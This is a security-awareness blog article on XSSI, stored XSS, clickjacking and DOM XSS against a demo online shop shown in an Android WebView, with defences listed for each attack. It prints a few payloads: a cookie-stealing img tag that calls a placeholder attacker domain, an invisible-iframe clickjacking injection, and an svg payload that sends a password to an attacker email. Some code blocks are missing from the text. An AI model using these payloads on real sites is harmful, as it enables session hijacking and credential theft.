JavaScript Attacks in WebViews
A discussion of common attacks bad actors commit using JavaScript in the DOM, specifically XSSI and XSS, to steal data and perform DoS attacks.
Join the DZone community and get the full member experience.
Join For FreeThis is part two of a three-part series. Click for part 1 and part 3.
Some of the most aggressive JavaScript attacks will be presented in this blog post for awareness; with development teams in mind and as a contribution to the propagation of safe coding practices.
To exemplify the attacks described in this blog post, an online store was created. It only presents a login form, some articles for sale, and ads. It uses a (modified) HTML template from https://shapebootstrap.net. It is then called from an Android application inside a WebView.
Two fake domains were used: myvictimexampledomain.com and myattackerexampledomain.com. In real scenarios, these domains would never be chosen, they are just used in this post for a clear distinction between the victim and an attacker.
Using Third-Party Malicious JavaScript to Hijack Sessions
There is often the need to use third-party JavaScript code. The source of this code must be carefully analyzed and, if possible, the code itself should be revised as well. Otherwise, our website can execute malicious code without our knowledge.
Taking the previous website example (the shop), advertisements are being presented in an attempt to increase profit. This is a very typical situation and is usually implemented including JavaScript from an ad company. In this case, the green banner that says 'buy now the super amazing brand' is produced by the following piece of code:
The ads.js file has the following content:
Third-party JavaScript has access to the DOM because it is loaded in the victim's webpage, just like local JavaScript would be. So, malicious JavaScript code can access sensitive data. Take the following example:
<img src='" + url + "/ads/ads.png' width='600' height='80'/><img src='" + url + "/" + document.cookie + "' width='0' height='0'/>
The code shown above is able to read user cookies and send them to an attacker. To make the evilness of this code less obvious, an attacker can choose several ways to encode the malicious part. If the victim visualizes the previous JavaScript content with some encoding, before including it in the page, he/she will probably not understand the malicious part and believe that the code is legit:
When the page loads the previously referred malicious code, everything seems exactly the same as before, but, in reality, the attacker is able to view the users' SessionKeys. The attacker just has to look at the attacking web server logs:
The attacker can now hijack all user sessions, and this is far from being the only possible attack.
Apart from this scenario, where the page owner includes the malicious code, another common situation for this kind of attack is hostile subdomain takeover.
In the previous example, an iframe can be used to block access to the DOM. To achieve this, the ".js" file from the previous example was converted into the following ".html":
The following change was made in the shop HTML code:
When the web page is loaded the design looks exactly the same as before, although the previous attack doesn't work anymore:
Notice that the requester has changed from " www.myvictimexampledomain.com/shop/" to " myattackerexampledomain.com/ads/ads.html." As it is being called inside an iframe, it behaves like a completely different page. However, both pages are being loaded in the same browser and the attacker can still take advantage of this to use the user's sessions for accessing restricted content. This scenario will be discussed later in this blog post.
Using XSSI to Exfiltrate Data
Nowadays, all browsers implement the Same-Origin Policy (SOP) and this mechanism blocks replies from domains that are accessed from different domains. As seen in the previous example, if the attacker tried to access the parent page with "parent.document" this access would be denied by SOP because the page loaded in the iframe is in a different domain than the parent's domain. Despite this, there are tags that are allowed by the SOP to be called from different domains, for instance:
- <script src=”…”></script>
- <link rel=”stylesheet” href=”…”>
- <img>
- <video>
- <audio>
- <object>
- <embed>
- <applet>
- <frame>
- <iframe>
When accessing content from the online shop using the tags described above, the browser will allow the reply and will also send the respective cookies in the request; even if the requester is the malicious code that is running inside the iframe.
The online shop is using JSONP to consult the server for the client's personal data, and it places some of this data in the HTML code for future use in the front-end. This was implemented using the following PHP code:
This code is returning text that is interpreted automatically by the browser as JavaScript. The "getUserData" is a function that exists in the shop's web page:
The attacker can inject malicious code that will call the PHP function. As the malicious code is being loaded inside an iframe it can't access the DOM and use the "getUserData" JavaScript function. But, as the content of the iframe is treated as a different page, the attacker can create an evil "getUserData" like the following:
This code is actually exfiltrating all the information that is being replied by the PHP function, which includes the SessionKeys. To better understand this behavior, the page was loaded and the HTTP traffic was collected. Some of the traffic is shown next and demonstrates that the cookie is being sent and the SOP had no action in the request:
Once again, the attacker can obtain all the client's session information by consulting the attacking web server logs:
This attack is known as Cross-Site Script Inclusion (XSSI). The main difference between XSSI and Cross-Site Scripting (XSS) is that in XSSI, the malicious code is placed in third-party web content, whereas in XSS the malicious code is placed in the victim's website. The main purpose of XSSI is to exfiltrate data and it is often seen in malicious web pages that serve illegal content.
In conclusion, using JSONP is bad practice because it makes the web page lose protection from the SOP. Another point worth mentioning is that if a Cross-Origin Resource Sharing (CORS) mechanism is implemented, it must be properly customized to prevent this kind of attack. To increase protection when using iframes, it is advised to explore the sandbox property and implement a Content Security Policy (CSP).
Using Stored XSS to Deny Service to All Users
Lack of input validation can lead to Cross-site Scripting (XSS), SQL injection, Remote Command Execution, etc. When discussing JavaScript attacks, XSS is the main concern. XSS tends to be assumed by many as harmless, however, that is a completely wrong assumption. Perhaps this idea comes from the fact that XSS vulnerabilities are very common, but because they are common by no means does it mean that they are harmless. On the contrary, they can lead to Denial of Service (DoS), data exfiltration, content manipulation, Cross-site Request Forgery (CSRF), site redirection, and buffer overflows.
These attacks consist of injecting HTML and JavaScript code into a web page. That being said, and knowing that HTML and JavaScript are executed client-side (in the WebView), it is clear that the target will be the website's user and not the web server.
The injection has to be made via an input, whether it is text input, file upload, HTTP header, etc., any kind of data that is somehow crafted and will be executed by the browser.
There are three types of XSS: Stored, Reflected, and DOM-based. The key definition of the attack is sending malicious code in the request that will be executed by the browser when it gets the response from the server. If the code is sent in the request and the server places that code in the content of the page that is replied to the client, it is a scenario of Stored or Reflected XSS. If the malicious code was saved on the server side it is Stored XSS. On the other hand, if the code is only reflected in the response from the server it is Reflected XSS.
Dom-based XSS is less known and its concept is mainly the same as the other two types. The difference is that the server doesn't place the malicious code in the page. The server receives the malicious code similarly to a Reflected XSS but doesn't reflect it in the answer. It is the DOM that includes the malicious code, and that happens on the client side.
All these attacks are triggered due to lack of validation. Validation should be done in the input and the output as well. The most effective validation is by whitelisting, but that is only possible in scenarios where the data can only be part a limited set of values. When this is not possible, escaping (encoding) and sanitization (filtering) libraries must be used to prevent malicious code from being stored or executed.
Other security measures can be implemented to prevent XSS. For example, the measures include defining the HTTPOnly cookie flag, implementing CSP and the X-XSS-Protection header.
Taking the previous online shop example, it implemented a section that shows the name of the clients that are active on the website. When these clients log in, their name appears in this section and remains there until their session is closed or expired.
When a user registers for the first time, there is no input validation in the name field. So, if a user places malicious code after the name, it will be saved in the database. Worse is the fact that every time that the name is printed in WebView, the malicious code will be executed.
In the following image, you can see the active users section where the user "Bill Moore" placed malicious code after his name. Notice that the malicious code isn't visible when the page loads in WebView. For better understanding, JavaScript was temporarily disabled in the WebView:
Capturing the HTTP response traffic in the webserver makes it possible to see the evil code used by the attacker that is being sent to all clients that access the website:
The code calls the JavaScript function "logout()
" that already exists in the page. This is considered a DoS attack because it will deny users the ability to buy products. It is also considered a CSRF attack because an action is triggered on the victim's behalf without his/her knowledge and without the need for interaction. JavaScript was re-enabled in the WebView and when the code is loaded this dialog is shown to the client:
And with this successful attack, no user is able to login to the online shop resulting in a huge amount of profit loss. As mentioned before, much worse scenarios are found in the wild. XSS must not be underestimated and the best way to mitigate it is to validate all input and output.
Using Stored XSS to Hijack Clicks
To discuss the clickjacking attack, the previous Stored XSS vulnerability in the online shop was used. This attack allows one to beat the SOP and the Anti-CSRF tokens. It consists of loading a legitimate webpage inside an iframe and loading it inside a second website. By using the "opacity" property, it is possible to completely hide the iframed page and fool the user to click on it instead of the website that is showing in the browser.
Taking the previous example of the online shop, it was possible to inject code in the user name. This code was then loaded by every user that visited the page. To trigger the Stored XSS vulnerability, instead of the DoS attack referred to before, the following code was introduced in the username field:
Bill Moore<iframe src=" http://www.mydonationsexampledomain.com/donations/someguy.html " frameBorder="0″ scrolling="no" style="opacity:0; display:block; position:fixed; top:60px; left:-150px; height:400px;"/>
The http://www.mydonationsexampledomain.com/donations/someguy.html URL is a website that allows you to donate money to causes, companies, associations, or individuals. In this case, the "someguy.html" page will allow you to donate to a specific individual and it looks like the following:
When one of the buttons is clicked, the donation is completed and the following page is shown:
The victim of the online shop is also a user of this donation website and has the session open. Many users don't close their sessions and that is why a short expiration time in cookies is important.
Returning to the online shop post-XSS attack, it looks just as harmless as before:
To better understand what is happening, a second screenshot was taken with the opacity of the previously referred iframe (where the donations site is loaded) set to 1. This way it is possible to visualize both pages and that a donate button is over the search box of the online shop:
When a user presses the search box in the online shop he/she is actually donating money to an attacker. By keeping the opacity value set to 1, it is possible to see the result:
When replaying the attack with the opacity set to 0, nothing seems suspicious to the victim. The only abnormal behavior is that the search box seems to be malfunctioning:
This is a very powerful attack and in order to stop it, the donation-website should use CSP or the X-Frame-Options header, to not allow it to be loaded within an iframe. Another security measure would be a programmatic validation to check whether the page is being loaded inside an iframe and stop execution in those situations. A confirmation prompt could also be used to stop this clickjacking attack. All these security measures have to be taken in the site loaded inside the iframe, as that is where the clickjacking is happening. In this example, the online shop is only a website with a stored XSS vulnerability.
Using DOM XSS to Steal Credentials
In terms of XSS, "Stored" is usually the most dangerous and a full example was shown earlier in this post. Reflected and DOM XSS are very difficult to explore in WebView because of the XSS auditor that is implemented by default and blocks all the XSS code that it identifies.
The XSS auditor is a built-in function of Chrome and Safari and compares the HTTP request with the server reply. Therefore, it is able to identify potentially dangerous code in the request and match it with the content of the response. When this happens, its default behavior is to block the JavaScript code from executing and load the rest of the page normally. This default behavior can be changed with the header X-XSS-Protection, by setting it to "0" (disables auditor) or setting it to "1" in conjunction with the keywords block or report (displays a blank page).
As explained before, the auditor is based on blacklisting and has been improved over the years. But as it compares the malicious blacklisted content with the reply content it doesn't work so well with DOM XSS scenarios.
As an example, the previously referred online shop has a DOM XSS vulnerability present in the page code:
The getParameterByName
method is a JavaScript function included in the page to extract parameters from the URL. This allows the previous search to appear in the page, under the search box, which can be valuable to the user:
The word "test" shows on the screen and it is the last search made. But this new functionality can also allow attackers to deliver XSS attacks. If an attacker places malicious code in the search box, he is affecting only himself. Therefore, the attacker has to make the victim click a link containing malicious code or to convince a victim to place the malicious code in their own search boxes. And that is easier than it sounds.
The attacker conducted a phishing campaign with a well-crafted email pretending to be sent from the online shop advertising special offers to the users who place the following code in their search boxes:
<svg onload=`<script`-recoverPassword('myattacker@exampledomain.com')
The recoverPassword
function mentioned in the malicious script is calling a very helpful server-side method that sends the user's password to a given email address. This is useful to users that want to log in on a different device but forgot the password. They can take advantage of their valid session (that doesn't expire) and retrieve the password via their email, without the need to reset it. The function is protected by the authenticity of the session, therefore it appears harmless. But in fact, it allows CSRF attacks and, in this case, it is being used by the attacker to steal the user's credentials:
The previous image shows the result of the copy-paste made by the victims. This scenario is also very common using links in the format "http://www.myvictimexampledomain.com?search=maliciouscode," instead of asking the user to copy paste the malicious code.
In conclusion, be afraid of JavaScript. Like I said at the beginning of this post - it is a very powerful option but it can also cause a lot of damage.
This is part two of a three-part series. Click for part 1 and part 3.REFERENCES
- https://www.w3schools.com/tags/att_iframe_sandbox.asp
- https://www.owasp.org/index.php/3rd_Party_Javascript_Management_Cheat_Sheet
- https://www.scip.ch/en/?labs.20160414
- https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
- https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting
- https://www.virtuesecurity.com/blog/understanding-xss-auditor/
- https://brutelogic.com.br/blog/the-easiest-way-to-bypass-xss-mitigations/
- https://www.w3schools.com/cssref/pr_class_position.asp
- http://resources.infosecinstitute.com/bypassing-same-origin-policy-part-3-clickjacking-cursorjacking-filejacking/
- https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet
Published at DZone with permission of Erez Yalon, DZone MVB. See the original article here.
Opinions expressed by DZone contributors are their own.
Comments